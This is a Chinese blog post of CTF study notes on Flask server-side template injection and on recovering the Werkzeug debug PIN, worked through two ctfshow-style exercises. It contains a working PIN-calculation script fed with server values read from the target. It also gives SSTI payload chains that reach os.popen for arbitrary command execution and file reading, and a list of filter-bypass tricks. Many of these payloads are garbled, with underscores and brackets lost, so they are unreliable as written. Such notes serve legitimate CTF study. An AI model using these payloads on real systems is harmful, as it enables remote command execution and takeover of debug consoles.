【心得】基于flask的SSTI个人笔记

目录

计算PIN码

例题1

SSTI的引用链

例题2


SSTI利用条件:

渲染字符串可控,也就说模板的内容可控

我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码

利用render_template_string函数参数可控,或者部分可控

render_template 相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法

render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析

验证ssti是否存在

1 {{ 2*2 }}

2 {{ config }}

计算PIN码

如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码

计算PIN码

modname: flask.app

username: Administrator

public_bits 内容

'Administrator', 'flask.app', 'Flask', 'D:\\\\Python\\\\Python310\\\\lib\\\\site-packages\\\\flask\\\\app.py'

我们需要知道当前登陆的用户名

private_bits 内容

'197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c'

getNode uuid.getnode

machine_id 读注册表内容

总结

要计算PIN码,需要private_bits 和public_bits

分别需要确定的是:

1 python运行的脚本名

2 固定值 flask.app

3 固定值 Flask

4 当前脚本运行的绝对路径 可以从报错获取

5 uuid.getnode

6 machine_id

'Administrator', 'flask.app', 'Flask', 'D:\\\\Python\\\\Python310\\\\lib\\\\site-packages\\\\flask\\\\app.py'

'Administrator', 'flask.app', 'Flask', 'D:\\\\Python\\\\Python310\\\\Lib\\\\site-packages\\\\flask\\\\app.py'

'197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c'

'197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c'

linux下

getNode读取的文件 /sys/class/net/eth0/address

02:42:0a:00:01:74

对其进行整理

>>> s='02:42:0a:00:01:74'

>>> s=s.replace(":","")

>>> print(int(s1:,16))

2482658869620

boot_id 44ddd8c9-5268-4269-9bd7-5563103e44c2

3fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup

整理后 拼接

最终machine_id

05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e

例题1

web91

访问/console发现开启了debug模式

读/etc/passwd看用户名

随便传值,使其报错

得到app路径:/usr/local/lib/python3.8/site-packages/flask/app.py

/sys/class/net/eth0/address读getNode得到uuid

02420a000168 十六进制转十进制即可

2,482,658,869,608

尝试读 /etc/machine-id失败

读/proc/sys/kernel/random/boot_id

读 /proc/self/cgroup

整理后 拼接得到最终machine_id

复制代码
44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

贴出算PIN码的脚本

复制代码
import hashlib
from itertools import chain




def getPIN(public_bits,private_bits):
    rv = None
    num = None
    h = hashlib.sha1()
    for bit in chain(public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name



if __name__ == "__main__":
    public_bits=[
    'root',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]

    private_bits=[
        '2482658869608','44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163'
    ]

    PIN = getPIN(public_bits,private_bits)
    print(PIN)

成功拿下console ,为所欲为即可

SSTI的引用链

"".class.base 拿到Object对象

.subclasses()144. 拿到os类

init.globals'popen'('calc') 调用os类的popen方法,执行calc参数

"".class.base.subclasses()144.init.globals'popen'('calc')

突破过滤

1 过滤字符.

"".class 转化为 ""'__class__''

name={{ ""'__class__''__base__''__subclasses__'()132'__init__''__globals__''popen'('ls /')'read'()}}

2 过滤下划线_

第一种 构造下划线 {% set a =(()|select|string|list).pop(24) %} {% print(a) %}

第二种 十六进制绕过 {{ ()"\\x5f\\x5fclass\\x5f\\x5f" }}

3 绕过\[\]过滤

getitem 可以把中括号换成小括号使用

name={{ "".class.base.subclasses().getitem(132) }}

4 过滤了{{

使用{% 绕过

5 过滤了单引号或者双引号

name={{ "".class.base.subclasses().getitem(132).init.globalsrequest.args.a(request.args.b).read() }}

6 过滤了数字

构造出1 {{(dict(e=a)|join|count)}}

7 关键字绕过

class base

{{dict(cl=a,ass=a)|join}}

8 还可以使用全角的数字绕过

0123456789

SSTI武器库

1、任意命令执行

{%for i in ''.class.base.subclasses()%}{%if i.name =='_wrap_close'%}{%print i.init.globals'popen'('dir').read()%}{%endif%}{%endfor%}

2、任意命令执行

{{"".class.bases0. subclasses()138.init.globals'popen'('cat /flag').read()}}

//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload

3、任意命令执行

{{url_for.globals'__builtins__''eval'("import('os').popen('dir').read()")}}

4、任意命令执行

{{x.init.globals'__builtins__''eval'("import('os').popen('cat flag').read()")}}

//x的含义是可以为任意字母,不仅仅限于x

5、任意命令执行

{{config.init.globals'__builtins__''eval'("import('os').popen('cat flag').read()")}}

6、文件读取

{{x.init.globals'__builtins__'.open('/flag', 'r').read()}}

//x的含义是可以为任意字母,不仅仅限于x

例题2

web92

访问/login路由

随便传一个post

报错提示让post传一个name

存在ssti

先找os

演示一种比较实用的找os索引值的方法

post:

name={{"".class.base.subclasses()}}

先复制

粘贴到记事本中,ctrl+f找到os

删去该os及其后所有类

复制,粘贴到vscode中

ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是132

payload:

name={{"".class.base.subclasses()132.init.globals'popen'('ls /').read()}}

name={{"".class.base.subclasses()132.init.globals'popen'('tac /F*').read()}}

或者

name={{ ""'__class__''__base__''__subclasses__'()132'__init__''__globals__''popen'('ls /')'read'()}}

name={{ ""'__class__''__base__''__subclasses__'()132'__init__''__globals__''popen'('tac /F*')'read'()}}

相关推荐
xuhaoyu_cpp_java5 小时前
项目学习(三)分页查询
java·经验分享·笔记·学习
珺毅同学5 小时前
YOLO生成预测json标签迁移问题
python·yolo·json
HackTwoHub5 小时前
最新Nessus2026.6.8版本主机漏洞扫描/探测工具Windows/Linux
linux·运维·服务器·安全·web安全·网络安全·安全架构
骑士雄师6 小时前
18.4 长期记忆可修改版
python
~小先生~6 小时前
Python从入门到放弃(一)
开发语言·python
天佑木枫6 小时前
第2天:变量与数据类型 —— 让程序记住信息
python
云栖梦泽在7 小时前
AI安全专项:AI人脸识别的安全风险与防护
人工智能·安全
Dust-Chasing7 小时前
Claude Code源码剖析 - Claude Code 上下文压缩机制
人工智能·python·ai
Cloud_Shy6188 小时前
解读《Effective Python 3rd Edition》:从练气到老魔(第五章 Item 33 - 35)
开发语言·人工智能·笔记·python·学习方法
做cv的小昊8 小时前
计算机图形学:【Games101】学习笔记08——光线追踪(辐射度量学、渲染方程与全局光照、蒙特卡洛积分与路径追踪)
图像处理·笔记·学习·计算机视觉·游戏引擎·图形渲染·概率论